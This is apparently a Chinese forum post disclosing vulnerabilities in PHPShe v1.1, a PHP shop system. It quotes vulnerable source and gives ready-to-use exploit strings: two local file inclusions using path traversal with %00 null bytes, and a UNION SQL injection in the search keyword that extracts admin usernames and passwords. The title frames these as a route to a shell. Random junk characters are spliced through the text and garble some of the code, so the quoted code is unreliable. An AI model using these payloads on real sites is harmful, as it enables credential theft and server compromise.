phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
; y6 E7 H/ Y9 a, M* V/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
* O5 {0 Q# D# A# O/* E-Mail : 681796@qq.com
5 r- D5 ~- T  `; I5 s! B7 ~9 P/*******************************************************/
$ S2 H( g- m" L3 n( u0×00 整体大概参数传输
, k: Q' p$ J3 H) n9 n4 Q

! e- i' @2 l" S1 s
//common.php
if (get_magic_quotes_gpc()) {
; g& i' m% a- Y5 e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
3 l& D# F, e* ~$ l# Q) u6 e/ helse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 l8 U6 n: b# d' L2 }2 G- r" r}
0 Q- b7 t  k7 r1 [session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( O, q. D: w- e
& M. |0 F7 g3 e7 `" p% M6 y0×01 包含漏洞

+ _4 v7 P$ x+ m9 O' |, q
# ]1 G2 O6 g8 f/ T5 \; I6 ]. @//首页文件
4 J5 K9 a9 J& J" l) ]+ b: L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' L% w# f8 a, Z& Epe_result();
5 a/ G+ Y! ^; L8 X5 v?>
//common 文件 第15行开始
url路由配置
/ I8 n7 \5 {, x2 E; @) ~$module = $mod = $act = 'index';
. P, d0 Z* b, Q$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 d# V8 t% Y8 W1 k6 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

. C/ ?# B, o) a# A
0×02 搜索注入
: z: E( b2 S( j
<code id="code2">

//product.php文件
case 'list':
' E5 m! K/ S# F7 `( I* _( {$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
" n& O0 n, w% @, p# g0 h2 g5 R//搜索
$sqlwhere = " and `product_state` = 1";
9 p4 B- M3 y% h; i3 Jpe_lead('hook/category.hook.php');
if ($category_id) {
1 S& q2 `% U5 e& dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
5 g8 y2 |$ b8 U8 ^4 _, _5 c$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. ?! L2 J: C  A$ Z1 Iif ($_g_orderby) {
6 f9 B2 x9 L  @) o: e% }$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 ^5 x+ }; q5 A5 I! p}
  k! T% U( N8 V4 u* s7 `else {
$sqlwhere .= " order by `product_id` desc";
}
9 N. n& p: K0 W+ E. z3 s+ K2 V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
4 W3 n& ~$ K5 W//当前路径
% l" D# P' r" c( X$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
% G5 x' ?$ n- q; G8 G, Z9 Sinclude(pe_tpl('product_list.html'));
+ \; _* ~+ r; a! w//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
3 k$ B& L: E6 n4 _

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

$ v) m' c% v; J. `6 @0 Q1 m, lforeach($cache_payway as $k => $v) {

" ^3 X8 e/ D$ e4 H% T( c0 }1 h$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: C& M. @- H: Y5 O: \9 [! Pif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

$ K5 [& O- I9 b( @; F' @}

7 |+ i, R2 W% `- d( R}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

9 G$ W) ^! o2 K$ ^9 q; O!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

, J; [' D& Z" I5 f) ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, e+ k" j) w" o' Pforeach ($info_list as $v) {

% X$ n' e4 k/ @: v- n7 ?$order['order_name'] .= "{$v['product_name']};";
/ h5 V, b/ ?$ @) i* C; {

' ~4 I3 V4 g- t6 S- d  [) S}

echo '正在为您连接支付网站，请稍后...';

# ]) a5 }" U# Oinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; N" o  u3 [% g}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

5 S- [/ x& W6 i$ B0 P+ H3 m, G}

% ?9 H+ ~: c5 [6 x5 X# ?- C" K4 p) u( c$seo = pe_seo('选择支付方式');

& \) ~6 l' o# M/ K; I& Einclude(pe_tpl('order_pay.html'));

3 ]8 W0 q, o& ?5 M1 T6 l7 Ubreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 c. y3 ?2 q/ o) n